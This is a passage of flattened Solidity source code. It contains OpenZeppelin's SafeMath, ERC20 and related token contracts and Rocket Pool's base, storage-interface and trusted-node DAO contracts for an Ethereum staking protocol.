* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "../interface/RocketStorageInterface.sol";
/// @title Base settings / modifiers for each contract in Rocket Pool
/// @author David Rugendyke
abstract contract RocketBase {
// Calculate using this as the base
uint256 constant calcBase = 1 ether;
// Version of the contract
uint8 public version;
// The main storage contract where primary persistant storage is maintained
RocketStorageInterface rocketStorage = RocketStorageInterface(0);
/*** Modifiers **********************************************************/
/**
* @dev Throws if called by any sender that doesn't match a Rocket Pool network contract
*/
modifier onlyLatestNetworkContract() {
require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract");
_;
}
/**
* @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract
*/
modifier onlyLatestContract(string memory _contractName, address _contractAddress) {
require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered node
*/
modifier onlyRegisteredNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("node.exists", _nodeAddress))), "Invalid node");
_;
}
/**
* @dev Throws if called by any sender that isn't a trusted node DAO member
*/
modifier onlyTrustedNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("dao.trustednodes.", "member", _nodeAddress))), "Invalid trusted node");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered minipool
*/
modifier onlyRegisteredMinipool(address _minipoolAddress) {
require(getBool(keccak256(abi.encodePacked("minipool.exists", _minipoolAddress))), "Invalid minipool");
_;
}
/**
* @dev Throws if called by any account other than a guardian account (temporary account allowed access to settings before DAO is fully enabled)
*/
modifier onlyGuardian() {
require(msg.sender == rocketStorage.getGuardian(), "Account is not a temporary guardian");
_;
}
/*** Methods **********************************************************/
/// @dev Set the main Rocket Storage address
constructor(RocketStorageInterface _rocketStorageAddress) {
// Update the contract address
rocketStorage = RocketStorageInterface(_rocketStorageAddress);
}
/// @dev Get the address of a network contract by name
function getContractAddress(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Check it
require(contractAddress != address(0x0), "Contract not found");
// Return
return contractAddress;
}
/// @dev Get the address of a network contract by name (returns address(0x0) instead of reverting if contract does not exist)
function getContractAddressUnsafe(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Return
return contractAddress;
}
/// @dev Get the name of a network contract by address
function getContractName(address _contractAddress) internal view returns (string memory) {
// Get the contract name
string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress)));
// Check it
require(bytes(contractName).length > 0, "Contract not found");
// Return
return contractName;
}
/// @dev Get revert error message from a .call method
function getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/*** Rocket Storage Methods ****************************************/
// Note: Unused helpers have been removed to keep contract sizes down
/// @dev Storage get methods
function getAddress(bytes32 _key) internal view returns (address) { return rocketStorage.getAddress(_key); }
function getUint(bytes32 _key) internal view returns (uint) { return rocketStorage.getUint(_key); }
function getString(bytes32 _key) internal view returns (string memory) { return rocketStorage.getString(_key); }
function getBytes(bytes32 _key) internal view returns (bytes memory) { return rocketStorage.getBytes(_key); }
function getBool(bytes32 _key) internal view returns (bool) { return rocketStorage.getBool(_key); }
function getInt(bytes32 _key) internal view returns (int) { return rocketStorage.getInt(_key); }
function getBytes32(bytes32 _key) internal view returns (bytes32) { return rocketStorage.getBytes32(_key); }
/// @dev Storage set methods
function setAddress(bytes32 _key, address _value) internal { rocketStorage.setAddress(_key, _value); }
function setUint(bytes32 _key, uint _value) internal { rocketStorage.setUint(_key, _value); }
function setString(bytes32 _key, string memory _value) internal { rocketStorage.setString(_key, _value); }
function setBytes(bytes32 _key, bytes memory _value) internal { rocketStorage.setBytes(_key, _value); }
function setBool(bytes32 _key, bool _value) internal { rocketStorage.setBool(_key, _value); }
function setInt(bytes32 _key, int _value) internal { rocketStorage.setInt(_key, _value); }
function setBytes32(bytes32 _key, bytes32 _value) internal { rocketStorage.setBytes32(_key, _value); }
/// @dev Storage delete methods
function deleteAddress(bytes32 _key) internal { rocketStorage.deleteAddress(_key); }
function deleteUint(bytes32 _key) internal { rocketStorage.deleteUint(_key); }
function deleteString(bytes32 _key) internal { rocketStorage.deleteString(_key); }
function deleteBytes(bytes32 _key) internal { rocketStorage.deleteBytes(_key); }
function deleteBool(bytes32 _key) internal { rocketStorage.deleteBool(_key); }
function deleteInt(bytes32 _key) internal { rocketStorage.deleteInt(_key); }
function deleteBytes32(bytes32 _key) internal { rocketStorage.deleteBytes32(_key); }
/// @dev Storage arithmetic methods
function addUint(bytes32 _key, uint256 _amount) internal { rocketStorage.addUint(_key, _amount); }
function subUint(bytes32 _key, uint256 _amount) internal { rocketStorage.subUint(_key, _amount); }
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "../../RocketBase.sol";
import "../../../interface/RocketVaultInterface.sol";
import "../../../interface/dao/node/RocketDAONodeTrustedInterface.sol";
import "../../../interface/dao/node/RocketDAONodeTrustedProposalsInterface.sol";
import "../../../interface/dao/node/RocketDAONodeTrustedActionsInterface.sol";
import "../../../interface/dao/node/settings/RocketDAONodeTrustedSettingsMembersInterface.sol";
import "../../../interface/dao/RocketDAOProposalInterface.sol";
import "../../../interface/util/AddressSetStorageInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
// The Trusted Node DAO
contract RocketDAONodeTrusted is RocketBase, RocketDAONodeTrustedInterface {
using SafeMath for uint;
// The namespace for any data stored in the trusted node DAO (do not change)
string constant daoNameSpace = "dao.trustednodes.";
// Min amount of trusted node members required in the DAO
uint256 constant daoMemberMinCount = 3;
// Only allow bootstrapping when enabled
modifier onlyBootstrapMode() {
require(getBootstrapModeDisabled() == false, "Bootstrap mode not engaged");
_;
}
// Only when the DAO needs new members due to being below the required min
modifier onlyLowMemberMode() {
require(getMemberCount() < daoMemberMinCount, "Low member mode not engaged");
_;
}
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) {
// Version
version = 1;
}
/**** DAO Properties **************/
// Returns true if bootstrap mode is disabled
function getBootstrapModeDisabled() override public view returns (bool) {
return getBool(keccak256(abi.encodePacked(daoNameSpace, "bootstrapmode.disabled")));
}
/*** Proposals ****************/
// Return the amount of member votes need for a proposal to pass
function getMemberQuorumVotesRequired() override external view returns (uint256) {
// Load contracts
RocketDAONodeTrustedSettingsMembersInterface rocketDAONodeTrustedSettingsMembers = RocketDAONodeTrustedSettingsMembersInterface(getContractAddress("rocketDAONodeTrustedSettingsMembers"));
// Calculate and return votes required
return getMemberCount().mul(rocketDAONodeTrustedSettingsMembers.getQuorum());
}
/*** Members ******************/
// Return true if the node addressed passed is a member of the trusted node DAO
function getMemberIsValid(address _nodeAddress) override external view returns (bool) {
return getBool(keccak256(abi.encodePacked(daoNameSpace, "member", _nodeAddress)));
}
// Get a trusted node member address by index
function getMemberAt(uint256 _index) override external view returns (address) {
AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress("addressSetStorage"));
return addressSetStorage.getItem(keccak256(abi.encodePacked(daoNameSpace, "member.index")), _index);
}
// Total number of members in the current trusted node DAO
function getMemberCount() override public view returns (uint256) {
AddressSetStorageInterface addressSetStorage = AddressSetStorageInterface(getContractAddress("addressSetStorage"));
return addressSetStorage.getCount(keccak256(abi.encodePacked(daoNameSpace, "member.index")));
}
// Min required member count for the DAO
function getMemberMinRequired() override external pure returns (uint256) {
return daoMemberMinCount;
}
// Get the last time this user made a proposal
function getMemberLastProposalTime(address _nodeAddress) override external view returns (uint256) {
return getUint(keccak256(abi.encodePacked(daoNameSpace, "member.proposal.lasttime", _nodeAddress)));
}
// Get the ID of a trusted node member
function getMemberID(address _nodeAddress) override external view returns (string memory) {
return getString(keccak256(abi.encodePacked(daoNameSpace, "member.id", _nodeAddress)));
}
// Get the URL of a trusted node member
function getMemberUrl(address _nodeAddress) override external view returns (string memory) {
return getString(keccak256(abi.encodePacked(daoNameSpace, "member.url", _nodeAddress)));
}
// Get the block the member joined at
function getMemberJoinedTime(address _nodeAddress) override external view returns (uint256) {
return getUint(keccak256(abi.encodePacked(daoNameSpace, "member.joined.time", _nodeAddress)));
}
// Get data that was recorded about a proposal that was executed
function getMemberProposalExecutedTime(string memory _proposalType, address _nodeAddress) override external view returns (uint256) {
return getUint(keccak256(abi.encodePacked(daoNameSpace, "member.executed.time", _proposalType, _nodeAddress)));
}
// Get the RPL bond amount the user deposited to join
function getMemberRPLBondAmount(address _nodeAddress) override external view returns (uint256) {
return getUint(keccak256(abi.encodePacked(daoNameSpace, "member.bond.rpl", _nodeAddress)));
}
// Is this member currently being 'challenged' to see if their node is responding
function getMemberIsChallenged(address _nodeAddress) override external view returns (bool) {
// Has this member been challenged recently and still within the challenge window to respond? If there is a challenge block recorded against them, they are actively being challenged.
return getUint(keccak256(abi.encodePacked(daoNameSpace, "member.challenged.time", _nodeAddress))) > 0 ? true : false;
}
// How many unbonded validators this member has
function getMemberUnbondedValidatorCount(address _nodeAddress) override external view returns (uint256) {
return getUint(keccak256(abi.encodePacked(daoNameSpace, "member.validator.unbonded.count", _nodeAddress)));
}
// Increment/decrement a member's unbonded validator count
// Only accepts calls from the RocketMinipoolManager contract
function incrementMemberUnbondedValidatorCount(address _nodeAddress) override external onlyLatestContract("rocketDAONodeTrusted", address(this)) onlyLatestContract("rocketMinipoolManager", msg.sender) {
addUint(keccak256(abi.encodePacked(daoNameSpace, "member.validator.unbonded.count", _nodeAddress)), 1);
}
function decrementMemberUnbondedValidatorCount(address _nodeAddress) override external onlyLatestContract("rocketDAONodeTrusted", address(this)) onlyRegisteredMinipool(msg.sender) {
subUint(keccak256(abi.encodePacked(daoNameSpace, "member.validator.unbonded.count", _nodeAddress)), 1);
}
/**** Bootstrapping ***************/
// Bootstrap mode - In bootstrap mode, guardian can add members at will
function bootstrapMember(string memory _id, string memory _url, address _nodeAddress) override external onlyGuardian onlyBootstrapMode onlyRegisteredNode(_nodeAddress) onlyLatestContract("rocketDAONodeTrusted", address(this)) {
// Ok good to go, lets add them
RocketDAONodeTrustedProposalsInterface(getContractAddress("rocketDAONodeTrustedProposals")).proposalInvite(_id, _url, _nodeAddress);
}
// Bootstrap mode - Uint Setting
function bootstrapSettingUint(string memory _settingContractName, string memory _settingPath, uint256 _value) override external onlyGuardian onlyBootstrapMode onlyLatestContract("rocketDAONodeTrusted", address(this)) {
// Ok good to go, lets update the settings
RocketDAONodeTrustedProposalsInterface(getContractAddress("rocketDAONodeTrustedProposals")).proposalSettingUint(_settingContractName, _settingPath, _value);
}
// Bootstrap mode - Bool Setting
function bootstrapSettingBool(string memory _settingContractName, string memory _settingPath, bool _value) override external onlyGuardian onlyBootstrapMode onlyLatestContract("rocketDAONodeTrusted", address(this)) {
// Ok good to go, lets update the settings
RocketDAONodeTrustedProposalsInterface(getContractAddress("rocketDAONodeTrustedProposals")).proposalSettingBool(_settingContractName, _settingPath, _value);
}
// Bootstrap mode - Upgrade contracts or their ABI
function bootstrapUpgrade(string memory _type, string memory _name, string memory _contractAbi, address _contractAddress) override external onlyGuardian onlyBootstrapMode onlyLatestContract("rocketDAONodeTrusted", address(this)) {
// Ok good to go, lets update the settings
RocketDAONodeTrustedProposalsInterface(getContractAddress("rocketDAONodeTrustedProposals")).proposalUpgrade(_type, _name, _contractAbi, _contractAddress);
}
// Bootstrap mode - Disable RP Access (only RP can call this to hand over full control to the DAO)
function bootstrapDisable(bool _confirmDisableBootstrapMode) override external onlyGuardian onlyBootstrapMode onlyLatestContract("rocketDAONodeTrusted", address(this)) {
require(_confirmDisableBootstrapMode == true, "You must confirm disabling bootstrap mode, it can only be done once!");
setBool(keccak256(abi.encodePacked(daoNameSpace, "bootstrapmode.disabled")), true);
}
/**** Recovery ***************/
// In an explicable black swan scenario where the DAO loses more than the min membership required (3), this method can be used by a regular node operator to join the DAO
// Must have their ID, URL, current RPL bond amount available and must be called by their current registered node account
function memberJoinRequired(string memory _id, string memory _url) override external onlyLowMemberMode onlyRegisteredNode(msg.sender) onlyLatestContract("rocketDAONodeTrusted", address(this)) {
// Ok good to go, lets update the settings
RocketDAONodeTrustedProposalsInterface(getContractAddress("rocketDAONodeTrustedProposals")).proposalInvite(_id, _url, msg.sender);
// Get the to automatically join as a member (by a regular proposal, they would have to manually accept, but this is no ordinary situation)
RocketDAONodeTrustedActionsInterface(getContractAddress("rocketDAONodeTrustedActions")).actionJoinRequired(msg.sender);
}
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketStorageInterface {
// Deploy status
function getDeployedStatus() external view returns (bool);
// Guardian
function getGuardian() external view returns(address);
function setGuardian(address _newAddress) external;
function confirmGuardian() external;
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string memory);
function getBytes(bytes32 _key) external view returns (bytes memory);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
function getBytes32(bytes32 _key) external view returns (bytes32);
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string calldata _value) external;
function setBytes(bytes32 _key, bytes calldata _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
// Arithmetic
function addUint(bytes32 _key, uint256 _amount) external;
function subUint(bytes32 _key, uint256 _amount) external;
// Protected storage
function getNodeWithdrawalAddress(address _nodeAddress) external view returns (address);
function getNodePendingWithdrawalAddress(address _nodeAddress) external view returns (address);
function setWithdrawalAddress(address _nodeAddress, address _newWithdrawalAddress, bool _confirm) external;
function confirmWithdrawalAddress(address _nodeAddress) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
interface RocketVaultInterface {
function balanceOf(string memory _networkContractName) external view returns (uint256);
function depositEther() external payable;
